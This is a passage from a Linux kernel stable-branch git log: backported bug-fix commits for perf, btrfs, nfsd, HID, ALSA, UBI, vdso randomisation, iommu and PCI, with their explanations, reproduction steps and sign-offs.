timeslice flush 0x5733a8 [0x28]: failed to process type: 3 I could reproduce the issue and in my case it was caused by one CPU (mmap) being behind during record and userspace mmap reader seeing the data after other CPUs data were already stored. This is expected under some circumstances because we need to limit the number of events that we queue for reordering when we receive a PERF_RECORD_FINISHED_ROUND or when we force flush due to memory pressure. Reported-by: Linus Torvalds Signed-off-by: Jiri Olsa Acked-by: Ingo Molnar Cc: Andi Kleen Cc: Corey Ashford Cc: David Ahern Cc: Frederic Weisbecker Cc: Ingo Molnar Cc: Linus Torvalds Cc: Matt Fleming Cc: Namhyung Kim Cc: Paul Mackerras Cc: Peter Zijlstra Cc: Stephane Eranian Link: http://lkml.kernel.org/r/1417016371-30249-1-git-send-email-jolsa@kernel.org Signed-off-by: Arnaldo Carvalho de Melo [zhangzhiqiang: backport to 3.10: - adjust context - commit f61ff6c06d struct events_stats was defined in tools/perf/util/event.h while 3.10 stable defined in tools/perf/util/hist.h. - 3.10 stable there is no pr_oe_time() which used for debug. - After the above adjustments, becomes same to the original patch: https://github.com/torvalds/linux/commit/f61ff6c06dc8f32c7036013ad802c899ec590607 ] Signed-off-by: Zhiqiang Zhang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 69f858e18549c284ef45d3b4947e09212a81491b Author: Jiri Olsa Date: Wed Dec 10 21:23:51 2014 +0100 perf: Fix events installation during moving group commit 9fc81d87420d0d3fd62d5e5529972c0ad9eab9cc upstream. We allow PMU driver to change the cpu on which the event should be installed to. This happened in patch: e2d37cd213dc ("perf: Allow the PMU driver to choose the CPU on which to install events") This patch also forces all the group members to follow the currently opened events cpu if the group happened to be moved. This and the change of event->cpu in perf_install_in_context() function introduced in: 0cda4c023132 ("perf: Introduce perf_pmu_migrate_context()") forces group members to change their event->cpu, if the currently-opened-event's PMU changed the cpu and there is a group move. Above behaviour causes problem for breakpoint events, which uses event->cpu to touch cpu specific data for breakpoints accounting. By changing event->cpu, some breakpoints slots were wrongly accounted for given cpu. Vinces's perf fuzzer hit this issue and caused following WARN on my setup: WARNING: CPU: 0 PID: 20214 at arch/x86/kernel/hw_breakpoint.c:119 arch_install_hw_breakpoint+0x142/0x150() Can't find any breakpoint slot [...] This patch changes the group moving code to keep the event's original cpu. Reported-by: Vince Weaver Signed-off-by: Jiri Olsa Cc: Arnaldo Carvalho de Melo Cc: Frederic Weisbecker Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Vince Weaver Cc: Yan, Zheng Link: http://lkml.kernel.org/r/1418243031-20367-3-git-send-email-jolsa@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 670218c170b8c744f438ea173f1d66717c19a042 Author: Jiri Olsa Date: Wed Dec 10 21:23:50 2014 +0100 perf/x86/intel/uncore: Make sure only uncore events are collected commit af91568e762d04931dcbdd6bef4655433d8b9418 upstream. The uncore_collect_events functions assumes that event group might contain only uncore events which is wrong, because it might contain any type of events. This bug leads to uncore framework touching 'not' uncore events, which could end up all sorts of bugs. One was triggered by Vince's perf fuzzer, when the uncore code touched breakpoint event private event space as if it was uncore event and caused BUG: BUG: unable to handle kernel paging request at ffffffff82822068 IP: [] uncore_assign_events+0x188/0x250 ... The code in uncore_assign_events() function was looking for event->hw.idx data while the event was initialized as a breakpoint with different members in event->hw union. This patch forces uncore_collect_events() to collect only uncore events. Reported-by: Vince Weaver Signed-off-by: Jiri Olsa Cc: Arnaldo Carvalho de Melo Cc: Frederic Weisbecker Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Yan, Zheng Link: http://lkml.kernel.org/r/1418243031-20367-2-git-send-email-jolsa@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18a9e279b5803c237e8f9a5496ce8e9b1ad399cd Author: Chris Mason Date: Wed Dec 31 12:18:29 2014 -0500 Btrfs: don't delay inode ref updates during log replay commit 6f8960541b1eb6054a642da48daae2320fddba93 upstream. Commit 1d52c78afbb (Btrfs: try not to ENOSPC on log replay) added a check to skip delayed inode updates during log replay because it confuses the enospc code. But the delayed processing will end up ignoring delayed refs from log replay because the inode itself wasn't put through the delayed code. This can end up triggering a warning at commit time: WARNING: CPU: 2 PID: 778 at fs/btrfs/delayed-inode.c:1410 btrfs_assert_delayed_root_empty+0x32/0x34() Which is repeated for each commit because we never process the delayed inode ref update. The fix used here is to change btrfs_delayed_delete_inode_ref to return an error if we're currently in log replay. The caller will do the ref deletion immediately and everything will work properly. Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e60c293a50ed5d6691f56ed64546ddfd15303b67 Author: Thomas Petazzoni Date: Thu Nov 13 10:38:57 2014 +0100 ARM: mvebu: disable I/O coherency on non-SMP situations on Armada 370/375/38x/XP commit e55355453600a33bb5ca4f71f2d7214875f3b061 upstream. Enabling the hardware I/O coherency on Armada 370, Armada 375, Armada 38x and Armada XP requires a certain number of conditions: - On Armada 370, the cache policy must be set to write-allocate. - On Armada 375, 38x and XP, the cache policy must be set to write-allocate, the pages must be mapped with the shareable attribute, and the SMP bit must be set Currently, on Armada XP, when CONFIG_SMP is enabled, those conditions are met. However, when Armada XP is used in a !CONFIG_SMP kernel, none of these conditions are met. With Armada 370, the situation is worse: since the processor is single core, regardless of whether CONFIG_SMP or !CONFIG_SMP is used, the cache policy will be set to write-back by the kernel and not write-allocate. Since solving this problem turns out to be quite complicated, and we don't want to let users with a mainline kernel known to have infrequent but existing data corruptions, this commit proposes to simply disable hardware I/O coherency in situations where it is known not to work. And basically, the is_smp() function of the kernel tells us whether it is OK to enable hardware I/O coherency or not, so this commit slightly refactors the coherency_type() function to return COHERENCY_FABRIC_TYPE_NONE when is_smp() is false, or the appropriate type of the coherency fabric in the other case. Thanks to this, the I/O coherency fabric will no longer be used at all in !CONFIG_SMP configurations. It will continue to be used in CONFIG_SMP configurations on Armada XP, Armada 375 and Armada 38x (which are multiple cores processors), but will no longer be used on Armada 370 (which is a single core processor). In the process, it simplifies the implementation of the coherency_type() function, and adds a missing call to of_node_put(). Signed-off-by: Thomas Petazzoni Fixes: e60304f8cb7bb545e79fe62d9b9762460c254ec2 ("arm: mvebu: Add hardware I/O Coherency support") Cc: # v3.8+ Acked-by: Gregory CLEMENT Link: https://lkml.kernel.org/r/1415871540-20302-3-git-send-email-thomas.petazzoni@free-electrons.com Signed-off-by: Jason Cooper Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a7407b25ba7e56c63508b25fb2c6886b72fc7a5 Author: Johannes Berg Date: Wed Dec 10 15:41:28 2014 -0800 scripts/kernel-doc: don't eat struct members with __aligned commit 7b990789a4c3420fa57596b368733158e432d444 upstream. The change from \d+ to .+ inside __aligned() means that the following structure: struct test { u8 a __aligned(2); u8 b __aligned(2); }; essentially gets modified to struct test { u8 a; }; for purposes of kernel-doc, thus dropping a struct member, which in turns causes warnings and invalid kernel-doc generation. Fix this by replacing the catch-all (".") with anything that's not a semicolon ("[^;]"). Fixes: 9dc30918b23f ("scripts/kernel-doc: handle struct member __aligned without numbers") Signed-off-by: Johannes Berg Cc: Nishanth Menon Cc: Randy Dunlap Cc: Michal Marek Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9652b73d52b6aa421bcbdacd79a8addac6a4cde1 Author: Ryusuke Konishi Date: Wed Dec 10 15:54:34 2014 -0800 nilfs2: fix the nilfs_iget() vs. nilfs_new_inode() races commit 705304a863cc41585508c0f476f6d3ec28cf7e00 upstream. Same story as in commit 41080b5a2401 ("nfsd race fixes: ext2") (similar ext2 fix) except that nilfs2 needs to use insert_inode_locked4() instead of insert_inode_locked() and a bug of a check for dead inodes needs to be fixed. If nilfs_iget() is called from nfsd after nilfs_new_inode() calls insert_inode_locked4(), nilfs_iget() will wait for unlock_new_inode() at the end of nilfs_mkdir()/nilfs_create()/etc to unlock the inode. If nilfs_iget() is called before nilfs_new_inode() calls insert_inode_locked4(), it will create an in-core inode and read its data from the on-disk inode. But, nilfs_iget() will find i_nlink equals zero and fail at nilfs_read_inode_common(), which will lead it to call iget_failed() and cleanly fail. However, this sanity check doesn't work as expected for reused on-disk inodes because they leave a non-zero value in i_mode field and it hinders the test of i_nlink. This patch also fixes the issue by removing the test on i_mode that nilfs2 doesn't need. Signed-off-by: Ryusuke Konishi Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ad8f3fd04ce08e4ad5c0f701a63db3fea15f579 Author: Benjamin Coddington Date: Sun Dec 7 16:05:47 2014 -0500 nfsd4: fix xdr4 inclusion of escaped char commit 5a64e56976f1ba98743e1678c0029a98e9034c81 upstream. Fix a bug where nfsd4_encode_components_esc() includes the esc_end char as an additional string encoding. Signed-off-by: Benjamin Coddington Fixes: e7a0444aef4a "nfsd: add IPv6 addr escaping to fs_location hosts" Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1cc13ebfaccc37c7acc7d4331a86d6e598a695f5 Author: Rasmus Villemoes Date: Fri Dec 5 16:40:07 2014 +0100 fs: nfsd: Fix signedness bug in compare_blob commit ef17af2a817db97d42dd2ec0a425231748e23dbc upstream. Bugs similar to the one in acbbe6fbb240 (kcmp: fix standard comparison bug) are in rich supply. In this variant, the problem is that struct xdr_netobj::len has type unsigned int, so the expression o1->len - o2->len _also_ has type unsigned int; it has completely well-defined semantics, and the result is some non-negative integer, which is always representable in a long long. But this means that if the conditional triggers, we are guaranteed to return a positive value from compare_blob. In this case it could be fixed by - res = o1->len - o2->len; + res = (long long)o1->len - (long long)o2->len; but I'd rather eliminate the usually broken 'return a - b;' idiom. Reviewed-by: Jeff Layton Signed-off-by: Rasmus Villemoes Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 80d2a1b7d6f53185716d07524d444b829afaa3b7 Author: Robert Baldyga Date: Mon Nov 24 07:56:21 2014 +0100 serial: samsung: wait for transfer completion before clock disable commit 1ff383a4c3eda8893ec61b02831826e1b1f46b41 upstream. This patch adds waiting until transmit buffer and shifter will be empty before clock disabling. Without this fix it's possible to have clock disabled while data was not transmited yet, which causes unproper state of TX line and problems in following data transfers. Signed-off-by: Robert Baldyga Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fae1d5a6828168de79240dac914b5918736e940f Author: Tejun Heo Date: Fri Oct 24 15:38:21 2014 -0400 writeback: fix a subtle race condition in I_DIRTY clearing commit 9c6ac78eb3521c5937b2dd8a7d1b300f41092f45 upstream. After invoking ->dirty_inode(), __mark_inode_dirty() does smp_mb() and tests inode->i_state locklessly to see whether it already has all the necessary I_DIRTY bits set. The comment above the barrier doesn't contain any useful information - memory barriers can't ensure "changes are seen by all cpus" by itself. And it sure enough was broken. Please consider the following scenario. CPU 0 CPU 1 ------------------------------------------------------------------------------- enters __writeback_single_inode() grabs inode->i_lock tests PAGECACHE_TAG_DIRTY which is clear enters __set_page_dirty() grabs mapping->tree_lock sets PAGECACHE_TAG_DIRTY releases mapping->tree_lock leaves __set_page_dirty() enters __mark_inode_dirty() smp_mb() sees I_DIRTY_PAGES set leaves __mark_inode_dirty() clears I_DIRTY_PAGES releases inode->i_lock Now @inode has dirty pages w/ I_DIRTY_PAGES clear. This doesn't seem to lead to an immediately critical problem because requeue_inode() later checks PAGECACHE_TAG_DIRTY instead of I_DIRTY_PAGES when deciding whether the inode needs to be requeued for IO and there are enough unintentional memory barriers inbetween, so while the inode ends up with inconsistent I_DIRTY_PAGES flag, it doesn't fall off the IO list. The lack of explicit barrier may also theoretically affect the other I_DIRTY bits which deal with metadata dirtiness. There is no guarantee that a strong enough barrier exists between I_DIRTY_[DATA]SYNC clearing and write_inode() writing out the dirtied inode. Filesystem inode writeout path likely has enough stuff which can behave as full barrier but it's theoretically possible that the writeout may not see all the updates from ->dirty_inode(). Fix it by adding an explicit smp_mb() after I_DIRTY clearing. Note that I_DIRTY_PAGES needs a special treatment as it always needs to be cleared to be interlocked with the lockless test on __mark_inode_dirty() side. It's cleared unconditionally and reinstated after smp_mb() if the mapping still has dirty pages. Also add comments explaining how and why the barriers are paired. Lightly tested. Signed-off-by: Tejun Heo Cc: Jan Kara Cc: Mikulas Patocka Cc: Jens Axboe Cc: Al Viro Reviewed-by: Jan Kara Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c56f33c8d6953394c6629d54fb953679ab2d8826 Author: Oliver Neukum Date: Thu Nov 20 14:54:35 2014 +0100 cdc-acm: memory leak in error case commit d908f8478a8d18e66c80a12adb27764920c1f1ca upstream. If probe() fails not only the attributes need to be removed but also the memory freed. Reported-by: Ahmed Tamrawi Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 46af468068c9f65e4f6ef1321fcf3a1203defa9a Author: Jens Axboe Date: Wed Nov 19 13:06:22 2014 -0700 genhd: check for int overflow in disk_expand_part_tbl() commit 5fabcb4c33fe11c7e3afdf805fde26c1a54d0953 upstream. We can get here from blkdev_ioctl() -> blkpg_ioctl() -> add_partition() with a user passed in partno value. If we pass in 0x7fffffff, the new target in disk_expand_part_tbl() overflows the 'int' and we access beyond the end of ptbl->part[] and even write to it when we do the rcu_assign_pointer() to assign the new partition. Reported-by: David Ramos Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6097658d082db3e1c6b0281cb164b3df1f2f000 Author: Greg Kroah-Hartman Date: Fri Nov 7 08:48:15 2014 -0800 USB: cdc-acm: check for valid interfaces commit 403dff4e2c94f275e24fd85f40b2732ffec268a1 upstream. We need to check that we have both a valid data and control inteface for both types of headers (union and not union.) References: https://bugzilla.kernel.org/show_bug.cgi?id=83551 Reported-by: Simon Schubert <2+kernel@0x2c.org> Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 39c58d1011059ef92f83a6c3963a3d5fa29482df Author: Takashi Iwai Date: Mon Jan 5 13:27:33 2015 +0100 ALSA: hda - Fix wrong gpio_dir & gpio_mask hint setups for IDT/STAC codecs commit c507de88f6a336bd7296c9ec0073b2d4af8b4f5e upstream. stac_store_hints() does utterly wrong for masking the values for gpio_dir and gpio_data, likely due to copy&paste errors. Fortunately, this feature is used very rarely, so the impact must be really small. Reported-by: Rasmus Villemoes Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 240c62be5c98de5e795c68859e85424bdd9b3d0e Author: Dan Carpenter Date: Thu Nov 27 01:34:43 2014 +0300 ALSA: hda - using uninitialized data commit 69eba10e606a80665f8573221fec589430d9d1cb upstream. In olden times the snd_hda_param_read() function always set "*start_id" but in 2007 we introduced a new return and it causes uninitialized data bugs in a couple of the callers: print_codec_info() and hdmi_parse_codec(). Fixes: e8a7f136f5ed ('[ALSA] hda-intel - Improve HD-audio codec probing robustness') Signed-off-by: Dan Carpenter Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d010bf46683339e0079c5a965f8c133ab8eb2314 Author: Jiri Jaburek Date: Thu Dec 18 02:03:19 2014 +0100 ALSA: usb-audio: extend KEF X300A FU 10 tweak to Arcam rPAC commit d70a1b9893f820fdbcdffac408c909c50f2e6b43 upstream. The Arcam rPAC seems to have the same problem - whenever anything (alsamixer, udevd, 3.9+ kernel from 60af3d037eb8c, ..) attempts to access mixer / control interface of the card, the firmware "locks up" the entire device, resulting in SNDRV_PCM_IOCTL_HW_PARAMS failed (-5): Input/output error from alsa-lib. Other operating systems can somehow read the mixer (there seems to be playback volume/mute), but any manipulation is ignored by the device (which has hardware volume controls). Signed-off-by: Jiri Jaburek Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3262c1cfbecc0e44089a256f01b0135f422b4ebb Author: Alex Williamson Date: Fri Oct 31 11:13:07 2014 -0600 driver core: Fix unbalanced device reference in drivers_probe commit bb34cb6bbd287b57e955bc5cfd42fcde6aaca279 upstream. bus_find_device_by_name() acquires a device reference which is never released. This results in an object leak, which on older kernels results in failure to release all resources of PCI devices. libvirt uses drivers_probe to re-attach devices to the host after assignment and is therefore a common trigger for this leak. Example: # cd /sys/bus/pci/ # dmesg -C # echo 1 > devices/0000\:01\:00.0/sriov_numvfs # echo 0 > devices/0000\:01\:00.0/sriov_numvfs # dmesg | grep 01:10 pci 0000:01:10.0: [8086:10ca] type 00 class 0x020000 kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_add_internal: parent: '0000:00:01.0', set: 'devices' kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79cd0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79cd0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79cd0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79cd0a8): kobject_cleanup, parent (null) kobject: '0000:01:10.0' (ffff8801d79cd0a8): calling ktype release kobject: '0000:01:10.0': free name [kobject freed as expected] # dmesg -C # echo 1 > devices/0000\:01\:00.0/sriov_numvfs # echo 0000:01:10.0 > drivers_probe # echo 0 > devices/0000\:01\:00.0/sriov_numvfs # dmesg | grep 01:10 pci 0000:01:10.0: [8086:10ca] type 00 class 0x020000 kobject: '0000:01:10.0' (ffff8801d79ce0a8): kobject_add_internal: parent: '0000:00:01.0', set: 'devices' kobject: '0000:01:10.0' (ffff8801d79ce0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79ce0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79ce0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79ce0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' kobject: '0000:01:10.0' (ffff8801d79ce0a8): kobject_uevent_env kobject: '0000:01:10.0' (ffff8801d79ce0a8): fill_kobj_path: path = '/devices/pci0000:00/0000:00:01.0/0000:01:10.0' [no free] Signed-off-by: Alex Williamson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7f5da0d71548548640b93cd1e0f8892c557f5dc Author: Andy Lutomirski Date: Sun Dec 21 08:57:46 2014 -0800 x86, vdso: Use asm volatile in __getcpu commit 1ddf0b1b11aa8a90cef6706e935fc31c75c406ba upstream. In Linux 3.18 and below, GCC hoists the lsl instructions in the pvclock code all the way to the beginning of __vdso_clock_gettime, slowing the non-paravirt case significantly. For unknown reasons, presumably related to the removal of a branch, the performance issue is gone as of e76b027e6408 x86,vdso: Use LSL unconditionally for vgetcpu but I don't trust GCC enough to expect the problem to stay fixed. There should be no correctness issue, because the __getcpu calls in __vdso_vlock_gettime were never necessary in the first place. Note to stable maintainers: In 3.18 and below, depending on configuration, gcc 4.9.2 generates code like this: 9c3: 44 0f 03 e8 lsl %ax,%r13d 9c7: 45 89 eb mov %r13d,%r11d 9ca: 0f 03 d8 lsl %ax,%ebx This patch won't apply as is to any released kernel, but I'll send a trivial backported version if needed. [ Backported by Andy Lutomirski. Should apply to all affected versions. This fixes a functionality bug as well as a performance bug: buggy kernels can infinite loop in __vdso_clock_gettime on affected compilers. See, for exammple: https://bugzilla.redhat.com/show_bug.cgi?id=1178975 ] Fixes: 51c19b4f5927 x86: vdso: pvclock gettime support Cc: Marcelo Tosatti Acked-by: Paolo Bonzini Signed-off-by: Andy Lutomirski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a3642939b86ab04f45f7e1a024e3ead8f0a76b74 Author: Andy Lutomirski Date: Fri Dec 19 16:04:11 2014 -0800 x86_64, vdso: Fix the vdso address randomization algorithm commit 394f56fe480140877304d342dec46d50dc823d46 upstream. The theory behind vdso randomization is that it's mapped at a random offset above the top of the stack. To avoid wasting a page of memory for an extra page table, the vdso isn't supposed to extend past the lowest PMD into which it can fit. Other than that, the address should be a uniformly distributed address that meets all of the alignment requirements. The current algorithm is buggy: the vdso has about a 50% probability of being at the very end of a PMD. The current algorithm also has a decent chance of failing outright due to incorrect handling of the case where the top of the stack is near the top of its PMD. This fixes the implementation. The paxtest estimate of vdso "randomisation" improves from 11 bits to 18 bits. (Disclaimer: I don't know what the paxtest code is actually calculating.) It's worth noting that this algorithm is inherently biased: the vdso is more likely to end up near the end of its PMD than near the beginning. Ideally we would either nix the PMD sharing requirement or jointly randomize the vdso and the stack to reduce the bias. In the mean time, this is a considerable improvement with basically no risk of compatibility issues, since the allowed outputs of the algorithm are unchanged. As an easy test, doing this: for i in `seq 10000` do grep -P vdso /proc/self/maps |cut -d- -f1 done |sort |uniq -d used to produce lots of output (1445 lines on my most recent run). A tiny subset looks like this: 7fffdfffe000 7fffe01fe000 7fffe05fe000 7fffe07fe000 7fffe09fe000 7fffe0bfe000 7fffe0dfe000 Note the suspicious fe000 endings. With the fix, I get a much more palatable 76 repeated addresses. Reviewed-by: Kees Cook Signed-off-by: Andy Lutomirski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eee6d89f8e8a227cf6ac29135061fb08e8b3988d Author: Giedrius StatkeviÄius Date: Sat Dec 27 00:28:30 2014 +0200 HID: Add a new id 0x501a for Genius MousePen i608X commit 2bacedada682d5485424f5227f27a3d5d6eb551c upstream. New Genius MousePen i608X devices have a new id 0x501a instead of the old 0x5011 so add a new #define with "_2" appended and change required places. The remaining two checkpatch warnings about line length being over 80 characters are present in the original files too and this patch was made in the same style (no line break). Just adding a new id and changing the required places should make the new device work without any issues according to the bug report in the following url. This patch was made according to and fixes: https://bugzilla.kernel.org/show_bug.cgi?id=67111 Signed-off-by: Giedrius StatkeviÄius Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 911cbede524a30ed9d4285f66270a49fc2f3d147 Author: Karl Relton Date: Tue Dec 16 15:37:22 2014 +0000 HID: add battery quirk for USB_DEVICE_ID_APPLE_ALU_WIRELESS_2011_ISO keyboard commit da940db41dcf8c04166f711646df2f35376010aa upstream. Apple bluetooth wireless keyboard (sold in UK) has always reported zero for battery strength no matter what condition the batteries are actually in. With this patch applied (applying same quirk as other Apple keyboards), the battery strength is now correctly reported. Signed-off-by: Karl Relton Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba2cdcd0a13138e13836d959a431f5411ecd9f9e Author: Dan Carpenter Date: Fri Jan 9 15:32:31 2015 +0300 HID: roccat: potential out of bounds in pyra_sysfs_write_settings() commit 606185b20caf4c57d7e41e5a5ea4aff460aef2ab upstream. This is a static checker fix. We write some binary settings to the sysfs file. One of the settings is the "->startup_profile". There isn't any checking to make sure it fits into the pyra->profile_settings[] array in the profile_activated() function. I added a check to pyra_sysfs_write_settings() in both places because I wasn't positive that the other callers were correct. Signed-off-by: Dan Carpenter Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c7b5a45655427c0b8541cc62306e061bdd5f525 Author: Gwendal Grignou Date: Thu Dec 11 16:02:45 2014 -0800 HID: i2c-hid: prevent buffer overflow in early IRQ commit d1c7e29e8d276c669e8790bb8be9f505ddc48888 upstream. Before ->start() is called, bufsize size is set to HID_MIN_BUFFER_SIZE, 64 bytes. While processing the IRQ, we were asking to receive up to wMaxInputLength bytes, which can be bigger than 64 bytes. Later, when ->start is run, a proper bufsize will be calculated. Given wMaxInputLength is said to be unreliable in other part of the code, set to receive only what we can even if it results in truncated reports. Signed-off-by: Gwendal Grignou Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e58a178f91ada57b56bb833721d16e323d07815 Author: Jean-Baptiste Maneyrol Date: Thu Nov 20 00:46:37 2014 +0800 HID: i2c-hid: fix race condition reading reports commit 6296f4a8eb86f9abcc370fb7a1a116b8441c17fd upstream. Current driver uses a common buffer for reading reports either synchronously in i2c_hid_get_raw_report() and asynchronously in the interrupt handler. There is race condition if an interrupt arrives immediately after the report is received in i2c_hid_get_raw_report(); the common buffer is modified by the interrupt handler with the new report and then i2c_hid_get_raw_report() proceed using wrong data. Fix it by using a separate buffers for synchronous reports. Signed-off-by: Jean-Baptiste Maneyrol [Antonio Borneo: cleanup, rebase to v3.17, submit mainline] Signed-off-by: Antonio Borneo Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d907b3b7b4f1725e2092614a8701b08f6169ba77 Author: Jiang Liu Date: Wed Nov 26 09:42:10 2014 +0800 iommu/vt-d: Fix an off-by-one bug in __domain_mapping() commit cc4f14aa170d895c9a43bdb56f62070c8a6da908 upstream. There's an off-by-one bug in function __domain_mapping(), which may trigger the BUG_ON(nr_pages < lvl_pages) when (nr_pages + 1) & superpage_mask == 0 The issue was introduced by commit 9051aa0268dc "intel-iommu: Combine domain_pfn_mapping() and domain_sg_mapping()", which sets sg_res to "nr_pages + 1" to avoid some of the 'sg_res==0' code paths. It's safe to remove extra "+1" because sg_res is only used to calculate page size now. Reported-And-Tested-by: Sudeep Dutt Signed-off-by: Jiang Liu Acked-By: David Woodhouse Signed-off-by: Joerg Roedel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16bff41aec60170bc29b57ab6f62a037b3845ff6 Author: Richard Weinberger Date: Thu Nov 6 16:47:49 2014 +0100 UBI: Fix double free after do_sync_erase() commit aa5ad3b6eb8feb2399a5d26c8fb0060561bb9534 upstream. If the erase worker is unable to erase a PEB it will free the ubi_wl_entry itself. The failing ubi_wl_entry must not free()'d again after do_sync_erase() returns. Signed-off-by: Richard Weinberger Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bda7f7dbeb66ee25e188417f38e76363e4ee2e15 Author: Richard Weinberger Date: Mon Oct 27 00:46:11 2014 +0100 UBI: Fix invalid vfree() commit f38aed975c0c3645bbdfc5ebe35726e64caaf588 upstream. The logic of vfree()'ing vol->upd_buf is tied to vol->updating. In ubi_start_update() vol->updating is set long before vmalloc()'ing vol->upd_buf. If we encounter a write failure in ubi_start_update() before vmalloc() the UBI device release function will try to vfree() vol->upd_buf because vol->updating is set. Fix this by allocating vol->upd_buf directly after setting vol->updating. Fixes: [ 31.559338] UBI warning: vol_cdev_release: update of volume 2 not finished, volume is damaged [ 31.559340] ------------[ cut here ]------------ [ 31.559343] WARNING: CPU: 1 PID: 2747 at mm/vmalloc.c:1446 __vunmap+0xe3/0x110() [ 31.559344] Trying to vfree() nonexistent vm area (ffffc90001f2b000) [ 31.559345] Modules linked in: [ 31.565620] 0000000000000bba ffff88002a0cbdb0 ffffffff818f0497 ffff88003b9ba148 [ 31.566347] ffff88002a0cbde0 ffffffff8156f515 ffff88003b9ba148 0000000000000bba [ 31.567073] 0000000000000000 0000000000000000 ffff88002a0cbe88 ffffffff8156c10a [ 31.567793] Call Trace: [ 31.568034] [] dump_stack+0x4e/0x7a [ 31.568510] [] ubi_io_write_vid_hdr+0x155/0x160 [ 31.569084] [] ubi_eba_write_leb+0x23a/0x870 [ 31.569628] [] vol_cdev_write+0x226/0x380 [ 31.570155] [] vfs_write+0xb5/0x1f0 [ 31.570627] [] SyS_pwrite64+0x6a/0xa0 [ 31.571123] [] system_call_fastpath+0x16/0x1b Signed-off-by: Richard Weinberger Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 640943dbed2e635916fbe08ca39ac2bfcad066ed Author: Tony Lindgren Date: Tue Sep 16 13:50:01 2014 -0700 pstore-ram: Allow optional mapping with pgprot_noncached commit 027bc8b08242c59e19356b4b2c189f2d849ab660 upstream. On some ARMs the memory can be mapped pgprot_noncached() and still be working for atomic operations. As pointed out by Colin Cross , in some cases you do want to use pgprot_noncached() if the SoC supports it to see a debug printk just before a write hanging the system. On ARMs, the atomic operations on strongly ordered memory are implementation defined. So let's provide an optional kernel parameter for configuring pgprot_noncached(), and use pgprot_writecombine() by default. Cc: Arnd Bergmann Cc: Rob Herring Cc: Randy Dunlap Cc: Anton Vorontsov Cc: Colin Cross Cc: Olof Johansson Cc: Russell King Acked-by: Kees Cook Signed-off-by: Tony Lindgren Signed-off-by: Tony Luck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fb9f7ceb8a9563fbc36803680845429dbda572a Author: Myron Stowe Date: Thu Oct 30 11:54:37 2014 -0600 PCI: Restore detection of read-only BARs commit 36e8164882ca6d3c41cb91e6f09a3ed236841f80 upstream. Commit 6ac665c63dca ("PCI: rewrite PCI BAR reading code") masked off low-order bits from 'l', but not from 'sz'. Both are passed to pci_size(), which compares 'base == maxbase' to check for read-only BARs. The masking of 'l' means that comparison will never be 'true', so the check for read-only BARs no longer works. Resolve this by also masking off the low-order bits of 'sz' before passing it into pci_size() as 'maxbase'. With this change, pci_size() will once again catch the 